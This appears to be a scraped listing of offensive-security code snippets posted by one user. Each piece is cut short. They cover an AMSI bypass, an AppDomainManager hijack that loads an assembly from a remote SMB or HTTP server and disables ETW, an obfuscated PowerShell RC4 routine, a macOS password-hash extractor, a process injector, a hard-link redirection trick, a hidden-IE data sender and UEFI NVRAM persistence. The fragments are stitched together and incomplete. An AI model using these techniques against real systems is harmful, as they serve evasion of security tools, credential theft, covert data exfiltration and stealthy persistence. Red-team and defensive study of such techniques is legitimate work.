rmusser01

using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;

/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause

rmusser01

// Exception-Based AMSI Bypass
// by [email protected]
#include <amsi.h>
#include <iostream>
#include <Windows.h>
#pragma comment(lib, "amsi.lib")
#pragma comment(lib, "ole32.lib")
#pragma warning( disable : 4996 )

#define AMSIPROJECTNAME L"scanner"

rmusser01

This is a variation of the technique originally discovered by subtee and described here

TL;DR It essentially allows you to turn any .NET application into a lolbin by providing a configuration file and specifying the <appDomainManagerAssembly> element pointing to a specially crafted .NET assembly which executes when the application is loaded.

This variation allows you to load the AppDomainManager assembly from a UNC path or HTTP(s) server. Also disables ETW thanks to the <etwEnable> element :)

1. Copy some binary you love to say, C:\Test. Lets use aspnet_compiler.exe as an example
2. Compile test.cs to test.dll with a signed strong name, this is required to load an assembly outside of a .NET applications base directory.
3. Host test.dll on a remote SMB or HTTP(S) server

rmusser01

function rsrzis {
  $Null = [Reflection.Assembly]::LoadWithPartialName("System.Security");
  $Null = [Reflection.Assembly]::LoadWithPartialName("System.Core");
  $ErrorActionPreference = "SilentlyContinue";

function wlc2 {
     param([Byte[]]$mfvoiqhn_12tkvf,[Byte[]]$gibqokxyxbupwcsrtuvm_41nhwrp)
     [Byte[]]$eplkztikdybroisgypg9qdbjfhmi = New-Object Byte[] $mfvoiqhn_12tkvf.Length;$mfvoiqhn_12tkvf.CopyTo($eplkztikdybroisgypg9qdbjfhmi, 0);[Byte[]]$s = New-Object Byte[] 256;[Byte[]]$k = New-Object Byte[] 256;
     for ($i = 0; $i -lt 256; $i++){$s[$i] = [Byte]$i;$k[$i] = $gibqokxyxbupwcsrtuvm_41nhwrp[$i % $gibqokxyxbupwcsrtuvm_41nhwrp.Length];}
     $j = 0;for ($i = 0; $i -lt 256; $i++){$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;};$i = $j = 0;

rmusser01

#!/usr/bin/env python3

"""
Mac OSX Catalina User Password Hash Extractor

Extracts a user's password hash as a hashcat-compatible string.

Mac OSX Catalina (10.15) uses a salted SHA-512 PBKDF2 for storing user passwords
(hashcat type 7100), and it's saved in an annoying binary-plist-nested-inside-xml-plist
format, so previously reported methods for extracting the hash don't work.

rmusser01

using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

namespace DinjectorWithQUserAPC
{


    public class Program

rmusser01

Using Hard Links to point back to attacker controlled location.

mklink /h C:\Windows\System32\Tasks\tasks.dll C:\Tools\Tasks.dll
Hardlink created for C:\Windows\System32\Tasks\tasks.dll <<===>> C:\Tools\Tasks.dll

This can redirect the search to an arbitrary location and evade tools that are looking for filemods in a particular location.

xref: https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html

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// sample function that takes in a destination server, POST data, and custom HTTP request headers
private string SendData(string dst, byte[] postData, string customHeaders)
{
    Type com_type = Type.GetTypeFromCLSID(new Guid("0002DF01-0000-0000-C000-000000000046"));
    object IE = Activator.CreateInstance(com_type);

    object[] falseArr = new object[] { false };
    object[] trueArr = new object[] { true };
    com_type.InvokeMember("Visible", System.Reflection.BindingFlags.SetProperty, null, IE, falseArr);
    com_type.InvokeMember("Silent", System.Reflection.BindingFlags.SetProperty, null, IE, trueArr);

rmusser01

' Need to add project references to C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscoree.tlb and mscorlib.tlb

Private Declare PtrSafe Function DispCallFunc Lib "oleaut32.dll" (ByVal pv As LongPtr, ByVal ov As LongPtr, ByVal cc As Integer, ByVal vr As Integer, ByVal ca As Long, ByRef pr As Integer, ByRef pg As LongPtr, ByRef par As Variant) As Long
Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (Dst As Any, Src As Any, ByVal BLen As LongPtr)
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (ByRef Var() As Any) As LongPtr

#If Win64 Then
Const LS As LongPtr = 8&
#Else
Const LS As LongPtr = 4&

rmusser01

GospelRoom: Data Storage in UEFI NVRAM Variables

Behaviour

Persist data in UEFI NVRAM variables.

Benefits

1. Stealthy way to store secrets and other data in UEFI.
2. Will survive a reimaging of the operating system.